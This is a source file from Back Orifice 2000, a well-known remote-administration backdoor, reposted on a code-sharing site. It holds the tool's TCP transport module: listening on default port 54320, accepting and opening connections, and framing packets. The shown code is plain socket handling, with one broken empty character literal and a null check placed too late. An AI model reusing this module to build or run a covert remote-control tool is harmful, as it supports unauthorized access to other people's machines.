io_simpletcp.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:9k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<winsock.h>
  17. #include<iohandler.h>
  18. #include<io_simpletcp.h>
  19. #include<config.h>
  20. #include<strhandle.h>
  21. static IO_HANDLER g_TCPIOH;
  22. typedef struct __tcpsocket {
  23. SOCKET s;
  24. SOCKADDR_IN rmt;
  25. char svConnectAddr[256];
  26. } TCPSOCKET;
  27. static char g_svTCPIOConfig[]="<**CFG**>TCPIO"
  28.                        "N[0,65535]:Default Port=54320";
  29. // Proper linkage type
  30. IO_HANDLER *GetSimpleTcpIOHandler(void);
  31. int _cdecl TCPIO_Insert(void)
  32. {
  33. // Initialize Winsock 1.1
  34. WSADATA wsaData;
  35. if(WSAStartup(MAKEWORD(1,1), &wsaData)!=0) return -1;
  36. if(LOBYTE(wsaData.wVersion)!=1 || HIBYTE(wsaData.wVersion)!=1) {
  37. WSACleanup();
  38. return -1;
  39. }
  40. return 0;
  41. }
  42. int _cdecl TCPIO_Remove(void)
  43. {
  44. // Clean up Winsock 1.1
  45. WSACleanup();
  46. return 0;
  47. }
  48. void * _cdecl TCPIO_Listen(char *svTarget)
  49. {
  50. TCPSOCKET *tcps;
  51. // Get listen port
  52. struct in_addr bindAddr;
  53. bindAddr.S_un.S_addr=INADDR_ANY;
  54. int nPort=0;
  55. if(svTarget==NULL) nPort=GetCfgNum(g_svTCPIOConfig,"Default Port");
  56. else if(lstrcmpi(svTarget,"RANDOM")!=0) {
  57. char svAdr[260],*svPort;
  58. lstrcpyn(svAdr,svTarget,260);
  59. svPort=BreakString(svAdr,":");
  60. if(svPort==NULL) {
  61. nPort=atoi(svAdr);
  62. } else {
  63. bindAddr.S_un.S_addr=inet_addr(svAdr);
  64. nPort=atoi(svPort);
  65. }
  66. }
  67. // Create listener socket
  68. SOCKET s;
  69. s=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
  70. if(s==INVALID_SOCKET) return NULL;
  71. BOOL sopt;
  72. sopt=TRUE;
  73. setsockopt(s,IPPROTO_TCP,TCP_NODELAY,(char *)&sopt,sizeof(BOOL));
  74. sopt=TRUE;
  75. setsockopt(s,SOL_SOCKET,SO_DONTLINGER,(char *)&sopt,sizeof(BOOL));
  76. // Bind socket and listen
  77. SOCKADDR_IN saddr;
  78. memset(&saddr,0,sizeof(SOCKADDR_IN));
  79. saddr.sin_addr=bindAddr;
  80. saddr.sin_family=AF_INET;
  81. saddr.sin_port=htons((WORD)nPort);
  82. if(bind(s,(SOCKADDR *) &saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {
  83. closesocket(s);
  84. return NULL;
  85. }
  86. if(listen(s,SOMAXCONN)!=0) {
  87. closesocket(s);
  88. return NULL;
  89. }
  90. int namelen=sizeof(SOCKADDR_IN);
  91. getsockname(s,(SOCKADDR *)&saddr,&namelen);
  92. // Allocate state structure
  93. tcps=(TCPSOCKET *)malloc(sizeof(TCPSOCKET));
  94. if(tcps==NULL) {
  95. closesocket(s);
  96. return NULL;
  97. }
  98. // Fill in state structure
  99. tcps->s=s;
  100. memset(&(tcps->rmt),0,sizeof(SOCKADDR_IN));
  101. // Get connect address
  102. if(bindAddr.S_un.S_addr==INADDR_ANY) {
  103. char svHostName[256];
  104. struct hostent *he;
  105. struct in_addr *pAddr;
  106. gethostname(svHostName,256);
  107. he=gethostbyname(svHostName);
  108. pAddr=(struct in_addr *)he->h_addr_list[0];
  109. if(he) {
  110. wsprintf(tcps->svConnectAddr,"%u.%u.%u.%u:%u",pAddr->S_un.S_un_b.s_b1,pAddr->S_un.S_un_b.s_b2,pAddr->S_un.S_un_b.s_b3,pAddr->S_un.S_un_b.s_b4,ntohs(saddr.sin_port));
  111. } else {
  112. lstrcpyn(tcps->svConnectAddr,"No Connect Addr",256);
  113. }
  114. } else {
  115. lstrcpyn(tcps->svConnectAddr,svTarget,256);
  116. }
  117. return tcps;
  118. }
  119. void * _cdecl TCPIO_Accept(void *data, char *svAddr, int nMaxLen)
  120. {
  121. // Check to see if this is a listening socket
  122. TCPSOCKET *tcps=(TCPSOCKET *)data;
  123. // Check for connection
  124. fd_set rdfds;
  125. TIMEVAL tm;
  126. FD_ZERO(&rdfds);
  127. FD_SET(tcps->s,&rdfds);
  128. tm.tv_sec=0;
  129. tm.tv_usec=0;
  130. if(select(0,&rdfds,NULL,NULL,&tm)<=0) {
  131. return 0;
  132. }
  133. // Accept socket
  134. SOCKADDR_IN saddr;
  135. int len=sizeof(SOCKADDR_IN);
  136. SOCKET accs;
  137. accs=accept(tcps->s,(SOCKADDR *)&saddr,&len);
  138. if(accs==INVALID_SOCKET) return NULL;
  139. BOOL sopt;
  140. sopt=TRUE;
  141. setsockopt(accs,IPPROTO_TCP,TCP_NODELAY,(char *)&sopt,sizeof(BOOL));
  142. sopt=TRUE;
  143. setsockopt(accs,SOL_SOCKET,SO_DONTLINGER,(char *)&sopt,sizeof(BOOL));
  144. TCPSOCKET *acc_ios=(TCPSOCKET *)malloc(sizeof(TCPSOCKET));
  145. if(acc_ios==NULL) {
  146. closesocket(accs);
  147. return NULL;
  148. }
  149. acc_ios->s=accs;
  150. acc_ios->rmt=saddr;
  151. if(nMaxLen>16) {
  152. wsprintf(svAddr,"%3u.%3u.%3u.%3u",
  153. saddr.sin_addr.S_un.S_un_b.s_b1,
  154. saddr.sin_addr.S_un.S_un_b.s_b2,
  155. saddr.sin_addr.S_un.S_un_b.s_b3,
  156. saddr.sin_addr.S_un.S_un_b.s_b4);
  157. }
  158. return acc_ios;
  159. }
  160. void * _cdecl TCPIO_Connect(char *svTarget)
  161. {
  162. // Create socket
  163. SOCKET s;
  164. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  165. if(s==INVALID_SOCKET) return NULL;
  166. BOOL sopt;
  167. sopt=TRUE;
  168. setsockopt(s,IPPROTO_TCP,TCP_NODELAY,(char *)&sopt,sizeof(BOOL));
  169. sopt=TRUE;
  170. setsockopt(s,SOL_SOCKET,SO_DONTLINGER,(char *)&sopt,sizeof(BOOL));
  171. // Get target port
  172. int nPort;
  173. char svHost[256],*ptr;
  174. lstrcpyn(svHost,svTarget,256);
  175. for(ptr=svHost;((*ptr)!=':') && ((*ptr)!=NULL);ptr++);
  176. if((*ptr)==':') {
  177. *ptr='';
  178. ptr++;
  179. nPort=atoi(ptr);
  180. }
  181. else nPort=GetCfgNum(g_svTCPIOConfig,"Default Port");
  182. // Resolve hostname
  183. DWORD addr;
  184. if((addr=inet_addr(svHost))==INADDR_NONE) {
  185. struct hostent *he=gethostbyname(svHost);
  186. if(he==NULL) {
  187. closesocket(s);
  188. return NULL;
  189. }
  190. addr=*(DWORD *)(he->h_addr_list[0]);
  191. }
  192. // Create socket address
  193. SOCKADDR_IN saddr;
  194. memset(&saddr,0,sizeof(SOCKADDR_IN));
  195. saddr.sin_addr.S_un.S_addr=addr;
  196. saddr.sin_family=AF_INET;
  197. saddr.sin_port=htons((WORD)nPort);
  198. // Connect to remote host
  199. if(connect(s,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))!=0) {
  200. closesocket(s);
  201. return NULL;
  202. }
  203. // Allocate internal state structure
  204. TCPSOCKET *tcps=(TCPSOCKET *)malloc(sizeof(TCPSOCKET));
  205. if(tcps==NULL) {
  206. closesocket(s);
  207. return NULL;
  208. }
  209. tcps->s=s;
  210. tcps->rmt=saddr;
  211. return tcps;
  212. }
  213. int _cdecl TCPIO_Close(void *ios)
  214. {
  215. TCPSOCKET *tcps=(TCPSOCKET *)ios;
  216. closesocket(tcps->s);
  217. free(tcps);
  218. return 0;
  219. }
  220. char * _cdecl TCPIO_Query(void)
  221. {
  222. return "TCPIO: Back Orifice TCP IO Module v1.0";
  223. }
  224. int _cdecl TCPIO_Recv(void *data, BYTE **pInData, int *pnInDataLen)
  225. {
  226. TCPSOCKET *tcps=(TCPSOCKET *)data;
  227. // Check socket for readability 
  228. TIMEVAL tv;
  229. int nRet;
  230. tv.tv_sec=0;
  231. tv.tv_usec=0;
  232. fd_set rfds;
  233. FD_ZERO(&rfds);
  234. FD_SET(tcps->s,&rfds);
  235. nRet=select(1,&rfds,NULL,NULL,&tv);
  236. if(nRet==SOCKET_ERROR) return -1;
  237. if(nRet==0) return 0;
  238. // Get length of rest of data
  239. DWORD nPktLen;
  240. int lenret;
  241. lenret=recv(tcps->s,(char *)&nPktLen,sizeof(DWORD),MSG_PEEK);
  242. if(lenret<=0) return -1;
  243. if(lenret<sizeof(DWORD)) 
  244. return 0;
  245. // Make sure we have the rest of the packet
  246. DWORD len;
  247. if(ioctlsocket(tcps->s,FIONREAD,&len)==SOCKET_ERROR) 
  248. return -1;
  249. if(len<(sizeof(DWORD)+nPktLen)) 
  250. return 0;
  251. // Clear off the header
  252. lenret=recv(tcps->s,(char *)&nPktLen,sizeof(DWORD),0);
  253. if(lenret<sizeof(DWORD)) 
  254. return -1;
  255. // Allocate buffer for data
  256. BYTE *buf=(BYTE *)malloc(nPktLen);
  257. if(buf==NULL) {
  258. *pInData=NULL;
  259. *pnInDataLen=0;
  260. return -1;
  261. }
  262. // Receive data
  263. char *pbuf=(char *)buf;
  264. int count=nPktLen;
  265. do {
  266. lenret=recv(tcps->s,pbuf,count,0);
  267. if(lenret==SOCKET_ERROR) {
  268. free(buf);
  269. *pInData=NULL;
  270. *pnInDataLen=0;
  271. return -1;
  272. }
  273. count-=lenret;
  274. pbuf+=lenret;
  275. if(count>0) Sleep(20);
  276. } while(count>0);
  277. // Pass data back to application
  278. *pInData=buf;
  279. *pnInDataLen=nPktLen;
  280. return 1;
  281. }
  282. int _cdecl TCPIO_Send(void *data, BYTE *pData, int nDataLen)
  283. {
  284. TCPSOCKET *tcps=(TCPSOCKET *)data;
  285. // Make single packet
  286. void *pkt=malloc(sizeof(int)+nDataLen);
  287. if(pkt==NULL) 
  288. return -1;
  289. // Send packet length
  290. memcpy(pkt,&nDataLen,sizeof(int));
  291. memcpy((BYTE *)pkt+sizeof(int),pData,nDataLen);
  292. // Send packet
  293. int ret;
  294. TIMEVAL tm;
  295. fd_set wfds;
  296. FD_ZERO(&wfds);
  297. FD_SET(tcps->s,&wfds);
  298. tm.tv_sec=5;
  299. tm.tv_usec=0;
  300. if((ret=select(0,NULL,&wfds,NULL,&tm))>0) {
  301. char *ppkt=(char *)pkt;
  302. int count=nDataLen+sizeof(int);
  303. do {
  304. ret=send(tcps->s,ppkt,count,0);
  305. if(ret==SOCKET_ERROR) break;
  306. count-=ret;
  307. ppkt+=ret;
  308. if(count>0) Sleep(20);
  309. } while(count>0);
  310. free(pkt);
  311. if(ret==SOCKET_ERROR) return -1;
  312. return 1;
  313. }
  314. free(pkt);
  315. return ret;
  316. }
  317. void _cdecl TCPIO_Free(void *data, BYTE *pBuffer)
  318. {
  319. if(pBuffer==NULL) return;
  320. free(pBuffer);
  321. }
  322. int _cdecl TCPIO_GetConnectAddr(void *data, char *svAddr, int nMaxLen)
  323. {
  324. TCPSOCKET *tcps=(TCPSOCKET *)data;
  325. if(nMaxLen>256) nMaxLen=256;
  326. if(nMaxLen<0) return -1;
  327. lstrcpyn(svAddr,tcps->svConnectAddr,nMaxLen);
  328. return 0;
  329. }
  330. IO_HANDLER *GetSimpleTcpIOHandler(void)
  331. {
  332. g_TCPIOH.pClose=TCPIO_Close;
  333. g_TCPIOH.pConnect=TCPIO_Connect;
  334. g_TCPIOH.pFree=TCPIO_Free;
  335. g_TCPIOH.pListen=TCPIO_Listen;
  336. g_TCPIOH.pAccept=TCPIO_Accept;
  337. g_TCPIOH.pQuery=TCPIO_Query;
  338. g_TCPIOH.pRecv=TCPIO_Recv;
  339. g_TCPIOH.pInsert=TCPIO_Insert;
  340. g_TCPIOH.pRemove=TCPIO_Remove;
  341. g_TCPIOH.pSend=TCPIO_Send;
  342. g_TCPIOH.pGetConnectAddr=TCPIO_GetConnectAddr;
  343. return &g_TCPIOH;
  344. }